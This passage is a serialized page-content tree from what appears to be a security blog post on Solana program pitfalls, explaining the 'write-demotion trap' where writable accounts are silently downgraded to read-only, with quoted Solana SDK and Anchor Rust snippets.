balance_after",{"type":22,"tag":101,"props":77688,"children":77689},{"style":166},[77690],{"type":27,"value":960},{"type":22,"tag":101,"props":77692,"children":77693},{"style":126},[77694],{"type":27,"value":9526},{"type":22,"tag":101,"props":77696,"children":77697},{"style":166},[77698],{"type":27,"value":231},{"type":22,"tag":101,"props":77700,"children":77701},{"style":926},[77702],{"type":27,"value":19510},{"type":22,"tag":101,"props":77704,"children":77705},{"style":120},[77706],{"type":27,"value":18045},{"type":22,"tag":101,"props":77708,"children":77709},{"style":166},[77710],{"type":27,"value":8426},{"type":22,"tag":101,"props":77712,"children":77713},{"style":126},[77714],{"type":27,"value":76707},{"type":22,"tag":101,"props":77716,"children":77717},{"style":120},[77718],{"type":27,"value":1520},{"type":22,"tag":101,"props":77720,"children":77721},{"class":103,"line":997},[77722,77726,77730,77734,77738],{"type":22,"tag":101,"props":77723,"children":77724},{"style":114},[77725],{"type":27,"value":24478},{"type":22,"tag":101,"props":77727,"children":77728},{"style":120},[77729],{"type":27,"value":980},{"type":22,"tag":101,"props":77731,"children":77732},{"style":126},[77733],{"type":27,"value":6713},{"type":22,"tag":101,"props":77735,"children":77736},{"style":166},[77737],{"type":27,"value":231},{"type":22,"tag":101,"props":77739,"children":77740},{"style":120},[77741],{"type":27,"value":77742},"is_writable\n",{"type":22,"tag":101,"props":77744,"children":77745},{"class":103,"line":1032},[77746,77750,77754,77758,77763,77767,77772,77776,77780,77784,77788],{"type":22,"tag":101,"props":77747,"children":77748},{"style":166},[77749],{"type":27,"value":19619},{"type":22,"tag":101,"props":77751,"children":77752},{"style":126},[77753],{"type":27,"value":76396},{"type":22,"tag":101,"props":77755,"children":77756},{"style":166},[77757],{"type":27,"value":231},{"type":22,"tag":101,"props":77759,"children":77760},{"style":926},[77761],{"type":27,"value":77762},"is_exempt",{"type":22,"tag":101,"props":77764,"children":77765},{"style":120},[77766],{"type":27,"value":980},{"type":22,"tag":101,"props":77768,"children":77769},{"style":126},[77770],{"type":27,"value":77771},"balance_after",{"type":22,"tag":101,"props":77773,"children":77774},{"style":120},[77775],{"type":27,"value":758},{"type":22,"tag":101,"props":77777,"children":77778},{"style":126},[77779],{"type":27,"value":6713},{"type":22,"tag":101,"props":77781,"children":77782},{"style":166},[77783],{"type":27,"value":231},{"type":22,"tag":101,"props":77785,"children":77786},{"style":926},[77787],{"type":27,"value":17808},{"type":22,"tag":101,"props":77789,"children":77790},{"style":120},[77791],{"type":27,"value":19658},{"type":22,"tag":101,"props":77793,"children":77794},{"class":103,"line":1063},[77795,77799,77803,77808,77812,77816],{"type":22,"tag":101,"props":77796,"children":77797},{"style":166},[77798],{"type":27,"value":19619},{"type":22,"tag":101,"props":77800,"children":77801},{"style":166},[77802],{"type":27,"value":16868},{"type":22,"tag":101,"props":77804,"children":77805},{"style":926},[77806],{"type":27,"value":77807},"is_program",{"type":22,"tag":101,"props":77809,"children":77810},{"style":120},[77811],{"type":27,"value":980},{"type":22,"tag":101,"props":77813,"children":77814},{"style":126},[77815],{"type":27,"value":6713},{"type":22,"tag":101,"props":77817,"children":77818},{"style":120},[77819],{"type":27,"value":23703},{"type":22,"tag":101,"props":77821,"children":77822},{"class":103,"line":1071},[77823],{"type":22,"tag":101,"props":77824,"children":77825},{"style":120},[77826],{"type":27,"value":188},{"type":22,"tag":23,"props":77828,"children":77829},{},[77830],{"type":27,"value":77831},"Now we’re safe...right?",{"type":22,"tag":1760,"props":77833,"children":77835},{"id":77834},"bug-3-the-write-demotion-trap",[77836],{"type":27,"value":77837},"Bug 3: The Write-Demotion Trap",{"type":22,"tag":23,"props":77839,"children":77840},{},[77841,77843,77848,77850,77855],{"type":27,"value":77842},"On Solana, accounts passed as ",{"type":22,"tag":9370,"props":77844,"children":77845},{},[77846],{"type":27,"value":77847},"writable",{"type":27,"value":77849}," in a transaction can be ",{"type":22,"tag":9370,"props":77851,"children":77852},{},[77853],{"type":27,"value":77854},"silently downgraded to read-only",{"type":27,"value":77856},". This behavior occurs during message sanitization — even before your program runs.",{"type":22,"tag":23,"props":77858,"children":77859},{},[77860,77862,77869],{"type":27,"value":77861},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":22,"tag":80,"props":77863,"children":77866},{"href":77864,"rel":77865},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[84],[77867],{"type":27,"value":77868},"MessageV0",{"type":27,"value":77870},", but legacy is simpler to follow):",{"type":22,"tag":91,"props":77872,"children":77874},{"className":93,"code":77873,"language":95,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[77875],{"type":22,"tag":30,"props":77876,"children":77877},{"__ignoreMap":7},[77878,77886,77910,77998,78019,78031,78047,78063,78111,78140,78194,78230,78238,78275,78287,78325,78337,78344,78351,78358,78365,78373,78433,78486],{"type":22,"tag":101,"props":77879,"children":77880},{"class":103,"line":104},[77881],{"type":22,"tag":101,"props":77882,"children":77883},{"style":2215},[77884],{"type":27,"value":77885},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":22,"tag":101,"props":77887,"children":77888},{"class":103,"line":157},[77889,77893,77898,77902,77906],{"type":22,"tag":101,"props":77890,"children":77891},{"style":108},[77892],{"type":27,"value":32193},{"type":22,"tag":101,"props":77894,"children":77895},{"style":114},[77896],{"type":27,"value":77897}," LegacyMessage",{"type":22,"tag":101,"props":77899,"children":77900},{"style":120},[77901],{"type":27,"value":26910},{"type":22,"tag":101,"props":77903,"children":77904},{"style":114},[77905],{"type":27,"value":6382},{"type":22,"tag":101,"props":77907,"children":77908},{"style":120},[77909],{"type":27,"value":2282},{"type":22,"tag":101,"props":77911,"children":77912},{"class":103,"line":182},[77913,77917,77921,77925,77929,77933,77937,77942,77946,77951,77955,77960,77964,77968,77973,77977,77981,77985,77989,77994],{"type":22,"tag":101,"props":77914,"children":77915},{"style":108},[77916],{"type":27,"value":24830},{"type":22,"tag":101,"props":77918,"children":77919},{"style":108},[77920],{"type":27,"value":17698},{"type":22,"tag":101,"props":77922,"children":77923},{"style":926},[77924],{"type":27,"value":35929},{"type":22,"tag":101,"props":77926,"children":77927},{"style":120},[77928],{"type":27,"value":980},{"type":22,"tag":101,"props":77930,"children":77931},{"style":126},[77932],{"type":27,"value":71541},{"type":22,"tag":101,"props":77934,"children":77935},{"style":166},[77936],{"type":27,"value":169},{"type":22,"tag":101,"props":77938,"children":77939},{"style":120},[77940],{"type":27,"value":77941}," legacy",{"type":22,"tag":101,"props":77943,"children":77944},{"style":166},[77945],{"type":27,"value":970},{"type":22,"tag":101,"props":77947,"children":77948},{"style":114},[77949],{"type":27,"value":77950},"Message",{"type":22,"tag":101,"props":77952,"children":77953},{"style":120},[77954],{"type":27,"value":758},{"type":22,"tag":101,"props":77956,"children":77957},{"style":126},[77958],{"type":27,"value":77959},"reserved_account_keys",{"type":22,"tag":101,"props":77961,"children":77962},{"style":166},[77963],{"type":27,"value":169},{"type":22,"tag":101,"props":77965,"children":77966},{"style":166},[77967],{"type":27,"value":870},{"type":22,"tag":101,"props":77969,"children":77970},{"style":114},[77971],{"type":27,"value":77972},"HashSet",{"type":22,"tag":101,"props":77974,"children":77975},{"style":120},[77976],{"type":27,"value":123},{"type":22,"tag":101,"props":77978,"children":77979},{"style":114},[77980],{"type":27,"value":25385},{"type":22,"tag":101,"props":77982,"children":77983},{"style":120},[77984],{"type":27,"value":3185},{"type":22,"tag":101,"props":77986,"children":77987},{"style":166},[77988],{"type":27,"value":17759},{"type":22,"tag":101,"props":77990,"children":77991},{"style":108},[77992],{"type":27,"value":77993}," Self",{"type":22,"tag":101,"props":77995,"children":77996},{"style":120},[77997],{"type":27,"value":154},{"type":22,"tag":101,"props":77999,"children":78000},{"class":103,"line":367},[78001,78005,78010,78014],{"type":22,"tag":101,"props":78002,"children":78003},{"style":108},[78004],{"type":27,"value":3746},{"type":22,"tag":101,"props":78006,"children":78007},{"style":126},[78008],{"type":27,"value":78009}," is_writable_account_cache",{"type":22,"tag":101,"props":78011,"children":78012},{"style":166},[78013],{"type":27,"value":960},{"type":22,"tag":101,"props":78015,"children":78016},{"style":126},[78017],{"type":27,"value":78018}," message\n",{"type":22,"tag":101,"props":78020,"children":78021},{"class":103,"line":398},[78022,78026],{"type":22,"tag":101,"props":78023,"children":78024},{"style":166},[78025],{"type":27,"value":7207},{"type":22,"tag":101,"props":78027,"children":78028},{"style":120},[78029],{"type":27,"value":78030},"account_keys\n",{"type":22,"tag":101,"props":78032,"children":78033},{"class":103,"line":428},[78034,78038,78043],{"type":22,"tag":101,"props":78035,"children":78036},{"style":166},[78037],{"type":27,"value":7207},{"type":22,"tag":101,"props":78039,"children":78040},{"style":926},[78041],{"type":27,"value":78042},"iter",{"type":22,"tag":101,"props":78044,"children":78045},{"style":120},[78046],{"type":27,"value":11746},{"type":22,"tag":101,"props":78048,"children":78049},{"class":103,"line":997},[78050,78054,78059],{"type":22,"tag":101,"props":78051,"children":78052},{"style":166},[78053],{"type":27,"value":7207},{"type":22,"tag":101,"props":78055,"children":78056},{"style":926},[78057],{"type":27,"value":78058},"enumerate",{"type":22,"tag":101,"props":78060,"children":78061},{"style":120},[78062],{"type":27,"value":11746},{"type":22,"tag":101,"props":78064,"children":78065},{"class":103,"line":1032},[78066,78070,78074,78078,78082,78086,78090,78094,78099,78103,78107],{"type":22,"tag":101,"props":78067,"children":78068},{"style":166},[78069],{"type":27,"value":7207},{"type":22,"tag":101,"props":78071,"children":78072},{"style":926},[78073],{"type":27,"value":6350},{"type":22,"tag":101,"props":78075,"children":78076},{"style":120},[78077],{"type":27,"value":980},{"type":22,"tag":101,"props":78079,"children":78080},{"style":166},[78081],{"type":27,"value":6377},{"type":22,"tag":101,"props":78083,"children":78084},{"style":120},[78085],{"type":27,"value":980},{"type":22,"tag":101,"props":78087,"children":78088},{"style":126},[78089],{"type":27,"value":7774},{"type":22,"tag":101,"props":78091,"children":78092},{"style":120},[78093],{"type":27,"value":758},{"type":22,"tag":101,"props":78095,"children":78096},{"style":126},[78097],{"type":27,"value":78098},"_key",{"type":22,"tag":101,"props":78100,"children":78101},{"style":120},[78102],{"type":27,"value":2261},{"type":22,"tag":101,"props":78104,"children":78105},{"style":166},[78106],{"type":27,"value":6377},{"type":22,"tag":101,"props":78108,"children":78109},{"style":120},[78110],{"type":27,"value":154},{"type":22,"tag":101,"props":78112,"children":78113},{"class":103,"line":1063},[78114,78119,78123,78128,78132,78136],{"type":22,"tag":101,"props":78115,"children":78116},{"style":126},[78117],{"type":27,"value":78118}," message",{"type":22,"tag":101,"props":78120,"children":78121},{"style":166},[78122],{"type":27,"value":231},{"type":22,"tag":101,"props":78124,"children":78125},{"style":926},[78126],{"type":27,"value":78127},"is_writable_index",{"type":22,"tag":101,"props":78129,"children":78130},{"style":120},[78131],{"type":27,"value":980},{"type":22,"tag":101,"props":78133,"children":78134},{"style":126},[78135],{"type":27,"value":7774},{"type":22,"tag":101,"props":78137,"children":78138},{"style":120},[78139],{"type":27,"value":2510},{"type":22,"tag":101,"props":78141,"children":78142},{"class":103,"line":1071},[78143,78148,78152,78156,78160,78165,78169,78173,78177,78181,78186,78190],{"type":22,"tag":101,"props":78144,"children":78145},{"style":166},[78146],{"type":27,"value":78147}," &&",{"type":22,"tag":101,"props":78149,"children":78150},{"style":166},[78151],{"type":27,"value":16868},{"type":22,"tag":101,"props":78153,"children":78154},{"style":126},[78155],{"type":27,"value":77959},{"type":22,"tag":101,"props":78157,"children":78158},{"style":166},[78159],{"type":27,"value":231},{"type":22,"tag":101,"props":78161,"children":78162},{"style":926},[78163],{"type":27,"value":78164},"contains",{"type":22,"tag":101,"props":78166,"children":78167},{"style":120},[78168],{"type":27,"value":980},{"type":22,"tag":101,"props":78170,"children":78171},{"style":166},[78172],{"type":27,"value":985},{"type":22,"tag":101,"props":78174,"children":78175},{"style":126},[78176],{"type":27,"value":71541},{"type":22,"tag":101,"props":78178,"children":78179},{"style":166},[78180],{"type":27,"value":231},{"type":22,"tag":101,"props":78182,"children":78183},{"style":120},[78184],{"type":27,"value":78185},"account_keys[",{"type":22,"tag":101,"props":78187,"children":78188},{"style":126},[78189],{"type":27,"value":7774},{"type":22,"tag":101,"props":78191,"children":78192},{"style":120},[78193],{"type":27,"value":59437},{"type":22,"tag":101,"props":78195,"children":78196},{"class":103,"line":1110},[78197,78201,78205,78209,78213,78218,78222,78226],{"type":22,"tag":101,"props":78198,"children":78199},{"style":166},[78200],{"type":27,"value":78147},{"type":22,"tag":101,"props":78202,"children":78203},{"style":166},[78204],{"type":27,"value":16868},{"type":22,"tag":101,"props":78206,"children":78207},{"style":126},[78208],{"type":27,"value":71541},{"type":22,"tag":101,"props":78210,"children":78211},{"style":166},[78212],{"type":27,"value":231},{"type":22,"tag":101,"props":78214,"children":78215},{"style":926},[78216],{"type":27,"value":78217},"demote_program_id",{"type":22,"tag":101,"props":78219,"children":78220},{"style":120},[78221],{"type":27,"value":980},{"type":22,"tag":101,"props":78223,"children":78224},{"style":126},[78225],{"type":27,"value":7774},{"type":22,"tag":101,"props":78227,"children":78228},{"style":120},[78229],{"type":27,"value":2510},{"type":22,"tag":101,"props":78231,"children":78232},{"class":103,"line":1118},[78233],{"type":22,"tag":101,"props":78234,"children":78235},{"style":120},[78236],{"type":27,"value":78237}," })\n",{"type":22,"tag":101,"props":78239,"children":78240},{"class":103,"line":1158},[78241,78245,78250,78254,78258,78262,78266,78270],{"type":22,"tag":101,"props":78242,"children":78243},{"style":166},[78244],{"type":27,"value":7207},{"type":22,"tag":101,"props":78246,"children":78247},{"style":926},[78248],{"type":27,"value":78249},"collect",{"type":22,"tag":101,"props":78251,"children":78252},{"style":166},[78253],{"type":27,"value":970},{"type":22,"tag":101,"props":78255,"children":78256},{"style":120},[78257],{"type":27,"value":123},{"type":22,"tag":101,"props":78259,"children":78260},{"style":114},[78261],{"type":27,"value":21208},{"type":22,"tag":101,"props":78263,"children":78264},{"style":120},[78265],{"type":27,"value":123},{"type":22,"tag":101,"props":78267,"children":78268},{"style":126},[78269],{"type":27,"value":6382},{"type":22,"tag":101,"props":78271,"children":78272},{"style":120},[78273],{"type":27,"value":78274},">>();\n",{"type":22,"tag":101,"props":78276,"children":78277},{"class":103,"line":1166},[78278,78283],{"type":22,"tag":101,"props":78279,"children":78280},{"style":108},[78281],{"type":27,"value":78282}," Self",{"type":22,"tag":101,"props":78284,"children":78285},{"style":120},[78286],{"type":27,"value":154},{"type":22,"tag":101,"props":78288,"children":78289},{"class":103,"line":1215},[78290,78295,78299,78304,78308,78313,78317,78321],{"type":22,"tag":101,"props":78291,"children":78292},{"style":126},[78293],{"type":27,"value":78294}," message",{"type":22,"tag":101,"props":78296,"children":78297},{"style":166},[78298],{"type":27,"value":169},{"type":22,"tag":101,"props":78300,"children":78301},{"style":114},[78302],{"type":27,"value":78303}," Cow",{"type":22,"tag":101,"props":78305,"children":78306},{"style":166},[78307],{"type":27,"value":970},{"type":22,"tag":101,"props":78309,"children":78310},{"style":926},[78311],{"type":27,"value":78312},"Owned",{"type":22,"tag":101,"props":78314,"children":78315},{"style":120},[78316],{"type":27,"value":980},{"type":22,"tag":101,"props":78318,"children":78319},{"style":126},[78320],{"type":27,"value":71541},{"type":22,"tag":101,"props":78322,"children":78323},{"style":120},[78324],{"type":27,"value":1706},{"type":22,"tag":101,"props":78326,"children":78327},{"class":103,"line":2425},[78328,78333],{"type":22,"tag":101,"props":78329,"children":78330},{"style":126},[78331],{"type":27,"value":78332}," is_writable_account_cache",{"type":22,"tag":101,"props":78334,"children":78335},{"style":120},[78336],{"type":27,"value":179},{"type":22,"tag":101,"props":78338,"children":78339},{"class":103,"line":5417},[78340],{"type":22,"tag":101,"props":78341,"children":78342},{"style":120},[78343],{"type":27,"value":2398},{"type":22,"tag":101,"props":78345,"children":78346},{"class":103,"line":7714},[78347],{"type":22,"tag":101,"props":78348,"children":78349},{"style":120},[78350],{"type":27,"value":1734},{"type":22,"tag":101,"props":78352,"children":78353},{"class":103,"line":7723},[78354],{"type":22,"tag":101,"props":78355,"children":78356},{"style":120},[78357],{"type":27,"value":188},{"type":22,"tag":101,"props":78359,"children":78360},{"class":103,"line":7791},[78361],{"type":22,"tag":101,"props":78362,"children":78363},{"emptyLinePlaceholder":15},[78364],{"type":27,"value":1581},{"type":22,"tag":101,"props":78366,"children":78367},{"class":103,"line":7799},[78368],{"type":22,"tag":101,"props":78369,"children":78370},{"style":2215},[78371],{"type":27,"value":78372},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":22,"tag":101,"props":78374,"children":78375},{"class":103,"line":7829},[78376,78380,78384,78389,78393,78397,78401,78405,78409,78413,78417,78421,78425,78429],{"type":22,"tag":101,"props":78377,"children":78378},{"style":108},[78379],{"type":27,"value":17693},{"type":22,"tag":101,"props":78381,"children":78382},{"style":108},[78383],{"type":27,"value":17698},{"type":22,"tag":101,"props":78385,"children":78386},{"style":926},[78387],{"type":27,"value":78388}," demote_program_id",{"type":22,"tag":101,"props":78390,"children":78391},{"style":120},[78392],{"type":27,"value":980},{"type":22,"tag":101,"props":78394,"children":78395},{"style":166},[78396],{"type":27,"value":985},{"type":22,"tag":101,"props":78398,"children":78399},{"style":108},[78400],{"type":27,"value":4242},{"type":22,"tag":101,"props":78402,"children":78403},{"style":120},[78404],{"type":27,"value":758},{"type":22,"tag":101,"props":78406,"children":78407},{"style":126},[78408],{"type":27,"value":7774},{"type":22,"tag":101,"props":78410,"children":78411},{"style":166},[78412],{"type":27,"value":169},{"type":22,"tag":101,"props":78414,"children":78415},{"style":114},[78416],{"type":27,"value":17733},{"type":22,"tag":101,"props":78418,"children":78419},{"style":120},[78420],{"type":27,"value":901},{"type":22,"tag":101,"props":78422,"children":78423},{"style":166},[78424],{"type":27,"value":17759},{"type":22,"tag":101,"props":78426,"children":78427},{"style":114},[78428],{"type":27,"value":360},{"type":22,"tag":101,"props":78430,"children":78431},{"style":120},[78432],{"type":27,"value":154},{"type":22,"tag":101,"props":78434,"children":78435},{"class":103,"line":7837},[78436,78440,78444,78449,78453,78457,78461,78465,78469,78473,78477,78482],{"type":22,"tag":101,"props":78437,"children":78438},{"style":108},[78439],{"type":27,"value":4856},{"type":22,"tag":101,"props":78441,"children":78442},{"style":166},[78443],{"type":27,"value":231},{"type":22,"tag":101,"props":78445,"children":78446},{"style":926},[78447],{"type":27,"value":78448},"is_key_called_as_program",{"type":22,"tag":101,"props":78450,"children":78451},{"style":120},[78452],{"type":27,"value":980},{"type":22,"tag":101,"props":78454,"children":78455},{"style":126},[78456],{"type":27,"value":7774},{"type":22,"tag":101,"props":78458,"children":78459},{"style":120},[78460],{"type":27,"value":901},{"type":22,"tag":101,"props":78462,"children":78463},{"style":166},[78464],{"type":27,"value":76702},{"type":22,"tag":101,"props":78466,"children":78467},{"style":166},[78468],{"type":27,"value":16868},{"type":22,"tag":101,"props":78470,"children":78471},{"style":108},[78472],{"type":27,"value":4242},{"type":22,"tag":101,"props":78474,"children":78475},{"style":166},[78476],{"type":27,"value":231},{"type":22,"tag":101,"props":78478,"children":78479},{"style":926},[78480],{"type":27,"value":78481},"is_upgradeable_loader_present",{"type":22,"tag":101,"props":78483,"children":78484},{"style":120},[78485],{"type":27,"value":11746},{"type":22,"tag":101,"props":78487,"children":78488},{"class":103,"line":7868},[78489],{"type":22,"tag":101,"props":78490,"children":78491},{"style":120},[78492],{"type":27,"value":188},{"type":22,"tag":23,"props":78494,"children":78495},{},[78496],{"type":27,"value":78497},"As you can see, there are two main causes of write-demotion:",{"type":22,"tag":6828,"props":78499,"children":78500},{},[78501,78513],{"type":22,"tag":6832,"props":78502,"children":78503},{},[78504,78506],{"type":27,"value":78505},"The account appears in the ",{"type":22,"tag":80,"props":78507,"children":78510},{"href":78508,"rel":78509},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[84],[78511],{"type":27,"value":78512},"reserved account list",{"type":22,"tag":6832,"props":78514,"children":78515},{},[78516],{"type":27,"value":78517},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":22,"tag":23,"props":78519,"children":78520},{},[78521],{"type":27,"value":78522},"The second case is generally covered by the executable check implemented previously.",{"type":22,"tag":23,"props":78524,"children":78525},{},[78526],{"type":27,"value":78527},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":22,"tag":22883,"props":78529,"children":78531},{"id":78530},"the-reserved-account-list",[78532],{"type":27,"value":78533},"The Reserved Account List",{"type":22,"tag":23,"props":78535,"children":78536},{},[78537,78539,78544],{"type":27,"value":78538},"The Solana runtime maintains a ",{"type":22,"tag":80,"props":78540,"children":78542},{"href":78508,"rel":78541},[84],[78543],{"type":27,"value":78512},{"type":27,"value":78545},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":22,"tag":23,"props":78547,"children":78548},{},[78549,78551,78558,78560,78565],{"type":27,"value":78550},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":22,"tag":80,"props":78552,"children":78555},{"href":78553,"rel":78554},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[84],[78556],{"type":27,"value":78557},"feature gate is actived",{"type":27,"value":78559},", the runtime will ",{"type":22,"tag":9370,"props":78561,"children":78562},{},[78563],{"type":27,"value":78564},"automatically demote them to read-only",{"type":27,"value":78566},", even if the transaction marked them as writable.",{"type":22,"tag":91,"props":78568,"children":78570},{"className":93,"code":78569,"language":95,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[78571],{"type":22,"tag":30,"props":78572,"children":78573},{"__ignoreMap":7},[78574,78582,78590,78614,78668,78706,78735],{"type":22,"tag":101,"props":78575,"children":78576},{"class":103,"line":104},[78577],{"type":22,"tag":101,"props":78578,"children":78579},{"style":2215},[78580],{"type":27,"value":78581},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":22,"tag":101,"props":78583,"children":78584},{"class":103,"line":157},[78585],{"type":22,"tag":101,"props":78586,"children":78587},{"style":2215},[78588],{"type":27,"value":78589},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":22,"tag":101,"props":78591,"children":78592},{"class":103,"line":182},[78593,78597,78601,78606,78610],{"type":22,"tag":101,"props":78594,"children":78595},{"style":108},[78596],{"type":27,"value":4242},{"type":22,"tag":101,"props":78598,"children":78599},{"style":166},[78600],{"type":27,"value":231},{"type":22,"tag":101,"props":78602,"children":78603},{"style":120},[78604],{"type":27,"value":78605},"reserved_account_keys ",{"type":22,"tag":101,"props":78607,"children":78608},{"style":166},[78609],{"type":27,"value":1511},{"type":22,"tag":101,"props":78611,"children":78612},{"style":120},[78613],{"type":27,"value":154},{"type":22,"tag":101,"props":78615,"children":78616},{"class":103,"line":367},[78617,78621,78625,78630,78634,78639,78643,78647,78651,78655,78659,78663],{"type":22,"tag":101,"props":78618,"children":78619},{"style":108},[78620],{"type":27,"value":950},{"type":22,"tag":101,"props":78622,"children":78623},{"style":108},[78624],{"type":27,"value":7052},{"type":22,"tag":101,"props":78626,"children":78627},{"style":126},[78628],{"type":27,"value":78629}," reserved_keys",{"type":22,"tag":101,"props":78631,"children":78632},{"style":166},[78633],{"type":27,"value":960},{"type":22,"tag":101,"props":78635,"children":78636},{"style":114},[78637],{"type":27,"value":78638}," ReservedAccountKeys",{"type":22,"tag":101,"props":78640,"children":78641},{"style":166},[78642],{"type":27,"value":970},{"type":22,"tag":101,"props":78644,"children":78645},{"style":926},[78646],{"type":27,"value":19421},{"type":22,"tag":101,"props":78648,"children":78649},{"style":120},[78650],{"type":27,"value":980},{"type":22,"tag":101,"props":78652,"children":78653},{"style":166},[78654],{"type":27,"value":985},{"type":22,"tag":101,"props":78656,"children":78657},{"style":108},[78658],{"type":27,"value":4242},{"type":22,"tag":101,"props":78660,"children":78661},{"style":166},[78662],{"type":27,"value":231},{"type":22,"tag":101,"props":78664,"children":78665},{"style":120},[78666],{"type":27,"value":78667},"reserved_account_keys);\n",{"type":22,"tag":101,"props":78669,"children":78670},{"class":103,"line":398},[78671,78676,78680,78685,78689,78693,78697,78701],{"type":22,"tag":101,"props":78672,"children":78673},{"style":126},[78674],{"type":27,"value":78675}," reserved_keys",{"type":22,"tag":101,"props":78677,"children":78678},{"style":166},[78679],{"type":27,"value":231},{"type":22,"tag":101,"props":78681,"children":78682},{"style":926},[78683],{"type":27,"value":78684},"update_active_set",{"type":22,"tag":101,"props":78686,"children":78687},{"style":120},[78688],{"type":27,"value":980},{"type":22,"tag":101,"props":78690,"children":78691},{"style":166},[78692],{"type":27,"value":985},{"type":22,"tag":101,"props":78694,"children":78695},{"style":108},[78696],{"type":27,"value":4242},{"type":22,"tag":101,"props":78698,"children":78699},{"style":166},[78700],{"type":27,"value":231},{"type":22,"tag":101,"props":78702,"children":78703},{"style":120},[78704],{"type":27,"value":78705},"feature_set);\n",{"type":22,"tag":101,"props":78707,"children":78708},{"class":103,"line":428},[78709,78714,78718,78722,78726,78731],{"type":22,"tag":101,"props":78710,"children":78711},{"style":114},[78712],{"type":27,"value":78713}," Arc",{"type":22,"tag":101,"props":78715,"children":78716},{"style":166},[78717],{"type":27,"value":970},{"type":22,"tag":101,"props":78719,"children":78720},{"style":926},[78721],{"type":27,"value":19124},{"type":22,"tag":101,"props":78723,"children":78724},{"style":120},[78725],{"type":27,"value":980},{"type":22,"tag":101,"props":78727,"children":78728},{"style":126},[78729],{"type":27,"value":78730},"reserved_keys",{"type":22,"tag":101,"props":78732,"children":78733},{"style":120},[78734],{"type":27,"value":2510},{"type":22,"tag":101,"props":78736,"children":78737},{"class":103,"line":997},[78738],{"type":22,"tag":101,"props":78739,"children":78740},{"style":120},[78741],{"type":27,"value":20576},{"type":22,"tag":22883,"props":78743,"children":78745},{"id":78744},"consequences-silent-failures-and-bricked-programs",[78746],{"type":27,"value":78747},"Consequences: Silent Failures and Bricked Programs",{"type":22,"tag":23,"props":78749,"children":78750},{},[78751],{"type":27,"value":78752},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":22,"tag":91,"props":78754,"children":78756},{"className":93,"code":78755,"language":95,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[78757],{"type":22,"tag":30,"props":78758,"children":78759},{"__ignoreMap":7},[78760,78775,78802,78817,78856,78863,78910,78941,78948,78963,78994,79001,79016,79047],{"type":22,"tag":101,"props":78761,"children":78762},{"class":103,"line":104},[78763,78767,78771],{"type":22,"tag":101,"props":78764,"children":78765},{"style":120},[78766],{"type":27,"value":26825},{"type":22,"tag":101,"props":78768,"children":78769},{"style":114},[78770],{"type":27,"value":26830},{"type":22,"tag":101,"props":78772,"children":78773},{"style":120},[78774],{"type":27,"value":24250},{"type":22,"tag":101,"props":78776,"children":78777},{"class":103,"line":157},[78778,78782,78786,78790,78794,78798],{"type":22,"tag":101,"props":78779,"children":78780},{"style":108},[78781],{"type":27,"value":17693},{"type":22,"tag":101,"props":78783,"children":78784},{"style":108},[78785],{"type":27,"value":25138},{"type":22,"tag":101,"props":78787,"children":78788},{"style":114},[78789],{"type":27,"value":74815},{"type":22,"tag":101,"props":78791,"children":78792},{"style":120},[78793],{"type":27,"value":26910},{"type":22,"tag":101,"props":78795,"children":78796},{"style":114},[78797],{"type":27,"value":26915},{"type":22,"tag":101,"props":78799,"children":78800},{"style":120},[78801],{"type":27,"value":2282},{"type":22,"tag":101,"props":78803,"children":78804},{"class":103,"line":182},[78805,78809,78813],{"type":22,"tag":101,"props":78806,"children":78807},{"style":120},[78808],{"type":27,"value":27116},{"type":22,"tag":101,"props":78810,"children":78811},{"style":108},[78812],{"type":27,"value":7760},{"type":22,"tag":101,"props":78814,"children":78815},{"style":120},[78816],{"type":27,"value":24250},{"type":22,"tag":101,"props":78818,"children":78819},{"class":103,"line":367},[78820,78824,78828,78832,78836,78840,78844,78848,78852],{"type":22,"tag":101,"props":78821,"children":78822},{"style":108},[78823],{"type":27,"value":24830},{"type":22,"tag":101,"props":78825,"children":78826},{"style":126},[78827],{"type":27,"v